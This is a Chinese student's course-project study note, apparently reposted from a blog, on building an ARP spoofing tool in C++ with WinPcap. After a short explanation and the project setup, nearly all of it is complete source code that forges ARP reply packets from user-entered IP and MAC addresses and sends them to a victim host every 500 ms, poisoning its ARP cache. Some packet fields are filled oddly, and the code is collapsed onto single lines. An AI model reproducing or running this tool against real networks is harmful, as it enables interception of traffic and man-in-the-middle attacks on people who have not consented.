学习笔记——C++实现ARP欺骗

来源:互联网 发布:餐饮成本软件 编辑:程序博客网 时间:2024/05/16 06:34

谢谢指正错误


在课设期间,从网上学习了简单的实现ARP欺骗
ARP欺骗的原理很简单:通过不断的向目标发送ARP包,致使目标主机的ARP缓存表中正确的IP映射的是错误的MAC地址

在书上的介绍中,采用了WinPcap的开发包,这样很方便的对网卡进行操作

所以,首先需要安装winpacp,并下载开发者包https://www.winpcap.org/devel.htm

对项目文件属性进行配置
1. 在C++项中附加目录加上winpacp的include
2. 在预处理器中加入WPCAP和HAVE_REMOTE
3. 在链接器常规中加入winpacp的lib路径
4. 在链接器输入中加入Packet.lib,wpcap.lib和ws2_32.lib

以下是根据网上的学习,所实现的代码:

#ifndef WIN32_LEAN_AND_MEAN#define WIN32_LEAN_AND_MEAN#endif#include <stdio.h>#include <stdlib.h>   #include "pcap.h"#include <string.h>// DLC Header#pragma pack (1)//使结构体按1字节方式对齐typedef struct tagDLCHeader{    unsigned char DesMAC[6];//以太网目的mac地址    unsigned char SrcMAC[6];//以太网源目的mac地址    unsigned short Ethertype;//帧类型} DLCHEADER, *PDLCHEADER;typedef struct tagARPFrame{    unsigned short  HW_Type;//硬件类型,2字节,填充0x0001    unsigned short Prot_Type;//协议的类型,2字节,填充0x0800    unsigned char HW_Addr_Len;//MAC地址长度,1字节    unsigned char Prot_Addr_Len;//IP地址长度,1字节    unsigned short  Opcode;//操作码,2字节,0x0001为请求包,0x0002为应答包    unsigned char Send_HW_Addr[6];//发送方的MAC地址    unsigned long Send_Prot_Addr;//发送方的IP地址    unsigned char Targ_HW_Addr[6];//接受方的MAC地址    unsigned long Targ_Prot_Addr;//接收方的IP地址//  unsigned char padding[18];} ARPFRAME, *PARPFRAME;// ARP Packet = DLC header + ARP Frametypedef struct tagARPPacket{    DLCHEADER dlcHeader; //以太网头部    ARPFRAME arpFrame;//arp头部} ARPPACKET, *PARPPACKET;#pragmaint mac_str_to_bin(char *str, char *mac){    int i;    char *s, *e;    if ((mac == NULL) || (str == NULL))    {        return -1;    }    s = (char *)str;    for (i = 0; i < 6; ++i)    {        mac[i] = s ? strtoul(s, &e, 16) : 0;        if (s)            s = (*e) ? e + 1 : e;    }    return 0;}//pcap_t *adhandle;char errbuf[PCAP_ERRBUF_SIZE];pcap_if_t *alldevs;pcap_if_t *d;pcap_t * init(){//  pcap_if_t *alldevs;//  pcap_if_t *d;    int inum;    int i = 0;         //网卡数量    /* Retrieve the device list */    //获取当前网卡列表    if (pcap_findalldevs(&alldevs, errbuf) == -1)    {        fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);        exit(1);    }    //打印网卡的列表    for (d = alldevs; d; d = d->next)    {        printf("%d. %s", ++i, d->name);        //如果有网卡就打印出来        if (d->description)        {            printf("(%s)\n ", d->description);        }        else        {            printf(" (No description available)\n ");        }    }    if (i == 0)    {        printf("\nNo interfaces found! Make sure WinPcap is installed.\n");        return 0;    }    printf("Enter the interface number (1-%d):", i);    scanf_s("%d", &inum, sizeof(int));    if (inum < 1 || inum > i)    {        printf("\nInterface number out of range.\n");        /* Free the device list */        pcap_freealldevs(alldevs);        return 0;    }    //跳转到所选择的适配器    for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++)        //打开所选的网卡适配器        if ((adhandle = pcap_open_live(d->name,   //适配器的名称            65535,                                //捕获的数据包的部分。            //65535是捕获所有流经的数据包,所有的数据包通过都产生端口            0,            1000,                                 //读取超时时间            errbuf                                //错误缓存            ))            == NULL)        {            fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);            /* Free the device list */            pcap_freealldevs(alldevs);            return 0;        }    printf("\nlistening on %s...\n", d->description);    /* At this point, we don't need any more the device list. Free it */    //当监控某个网卡适配器后,就释放其他的,因为用不到了    pcap_freealldevs(alldevs);    return adhandle;}void sendArpPacket(pcap_t * fp, ARPPACKET &ARPPacket){    /* Send down the packet */    if (pcap_sendpacket(fp,             // Adapter        (const u_char *)&ARPPacket,     // buffer with the packet        sizeof(ARPPacket)               // size        ) != 0)    {        fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(fp));        printf("send NULL ! \n");        return;    }    else    {        //      printf("%d", sizeof(ARPPacket));        printf("send OK ! \n");    }}ARPPACKET  makeArp(int a){    ARPPACKET ARPPacket;// 定义ARPPACKET结构体变量    int arpType;    struct in_addr s;    char* srcIP;    srcIP = (char*)malloc(sizeof(char) * 16);    char* desIP;    desIP = (char*)malloc(sizeof(char) * 16);    char* srcMac;    srcMac = (char*)malloc(sizeof(char) * 18);    char* desMac;    desMac = (char*)malloc(sizeof(char) * 18);    if (a == 1)    {        printf("欺骗a方:\n");        printf("请输入b方ip地址:");        scanf_s("%s", srcIP, 16);        printf("请输入a方ip地址:");        scanf_s("%s", desIP, 16);        printf("请输入arp包类型[01:请求  02:应答包][若需攻击则为02]:");        scanf_s("%d", &arpType, sizeof(int));        printf("请输入本机mac地址:[格式为ff:ff:ff:ff:ff:ff]");        scanf("%s", srcMac);        printf("请输入a方mac地址:[格式为ff:ff:ff:ff:ff:ff]");        scanf("%s", desMac);    }    /*else if(a==2)    {    printf("欺骗B方:\n");    printf("请输入A方IP地址:");    scanf_s("%s", srcIP, 16);    printf("请输入B方IP地址:");    scanf_s("%s", desIP, 16);    printf("请输入ARP包类型[01:请求  02:应答包][若需攻击则为02]:");    scanf_s("%d", &arpType, sizeof(int));    printf("请输入本机MAC地址:[格式为ff:ff:ff:ff:ff:ff]");    scanf_s("%s", srcMac, 12);    printf("请输入B方MAC地址:[格式为ff:ff:ff:ff:ff:ff]");    scanf_s("%s", desMac, 12);    }*/    mac_str_to_bin(srcMac, (char*)ARPPacket.dlcHeader.SrcMAC);    mac_str_to_bin(desMac, (char*)ARPPacket.dlcHeader.DesMAC);    ARPPacket.dlcHeader.Ethertype = htons((unsigned short)0x0806); // DLC Header的以太网类型ARP包    ARPPacket.arpFrame.HW_Type = htons((unsigned short)0x0001);    ARPPacket.arpFrame.Prot_Type = htons((unsigned short)0x0800);    ARPPacket.arpFrame.HW_Addr_Len = (unsigned char)6;//MAC地址长度    ARPPacket.arpFrame.Prot_Addr_Len = (unsigned char)4;// IP地址长度    ARPPacket.arpFrame.Opcode = htons((unsigned short)arpType);//arp包类型    mac_str_to_bin(srcMac, (char*)ARPPacket.arpFrame.Send_HW_Addr);    ARPPacket.arpFrame.Send_Prot_Addr = inet_addr(srcIP);// 源IP     //  printf("%6.6x \n", ARPPacket.arpFrame.Send_Prot_Addr);    mac_str_to_bin(srcMac, (char*)ARPPacket.arpFrame.Targ_HW_Addr);    ARPPacket.arpFrame.Targ_Prot_Addr = inet_addr(desIP);//目的IP    //  printf("%6.6x \n", ARPPacket.arpFrame.Targ_Prot_Addr);    return ARPPacket;}int main(int argc, char **argv) {    pcap_t * adhandle = init();    ARPPACKET ARPPacket_A = makeArp(1);//  ARPPACKET ARPPacket_B = makeArp(2);    while (true)    {        sendArpPacket(adhandle, ARPPacket_A);       //      sendArpPacket(adhandle, ARPPacket_B);        Sleep(500);//      Sleep(1000);    }    pcap_close(adhandle);    return 0;}

实现之后的操作结果如图所示:
选择的是应答包

结果在wareshark中抓包,显示如图:
这里是应答包

这次课设,了解了ARP的包结构和使用winpacp的发包与收包工作,同时如何构造ARP包,IP包,UDP包,学习书上对于IP包的分析代码也是很有收获。

原创粉丝点击